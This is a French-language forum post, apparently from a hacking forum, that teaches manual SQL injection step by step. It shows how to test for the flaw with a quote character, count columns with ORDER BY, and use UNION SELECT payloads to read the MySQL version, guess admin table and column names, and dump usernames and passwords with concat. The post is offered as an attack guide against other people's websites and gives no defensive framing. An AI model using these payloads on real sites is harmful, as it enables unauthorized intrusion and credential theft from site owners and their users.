programme-zero
Membre
En cours de rédaction !
1) Comment savoir ce site est vulnérable à une faille SQL ?
Nous allons prendre comme exemple le site
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
Pour savoir si ce site est vulnérable à une injection SQL ajouter un ' à la fin de l'adresse
comme cecit
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
'Si vous obtener une erreur de ce type
"Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1' "
où si des éléments de la page semble bugué le site est vulnérable
2)Exploiter la faille manuellement
2.1)Trouver le nombre de columns
Pour trouver le nombre de columns il nous faudra utiliser " ORDER BY "
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
order by 1/* <-- Pas d'erreur
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
order by 2/* <-- Pas d'erreur
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
order by 3/* <-- Pas d'erreur
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
order by 4/* <-- ErreurIl y'a donc 3 columns
3)Utiliser la fonction UNION
Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons:
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,2,3/*si nous voyons quelques chiffres sur l’écran, c'est-à -dire 1 ou 2 ou 3 alors l'union a fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par --
4) Trouver la version du MySQL.
Utiliser cecit :
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,@@version,3/*En essayant de remplaçer le 3 jusqua avoir la version de Mysql devant les yeux
5)Trouver le nom des columns et tables et exploiter la faille
Maintenant vous devez savoir que si la version de Mysql est inférieur à 5 les noms de tables seront probablement user/s , admin/s , member/s et les columns seront : username , user, usr, user_name, password, pass, passwd, pwd
Maintenant nous devons exploiter la faille.
Nous devons trouver la table admin essayons cecit :
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,2,3 from admin/*Si vous aperçevez le numeros 2 cela signifie que vous venez de trouver la table admin
Nous devons maintenant trouver le nom des columns avec cecit :
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,username,3 from admin/*Si une erreur ce produit essayer de changer le username par un aute nom de column
Si vous avez le nom d'utilisateur qui s'affiche à l'écran, par exemple, admin ou super admin etc alors c'est bon...
Maintenant pour la column de mot de passe,
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,password,3 from admin/*Si vous avez une erreur essayer un autre nom de column
Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.
Vous devez être inscrit pour voir les liens ! Inscrivez-vous ou connectez-vous ici.
union all select 1,concat(username,0x3a,password),3 from admin/*Vous aurez quelque chose du genre : username
assword , admin:admin , admin:unhash..Copyright programme-zero merci de m'avertir pour tout copier / coller
Dernière édition: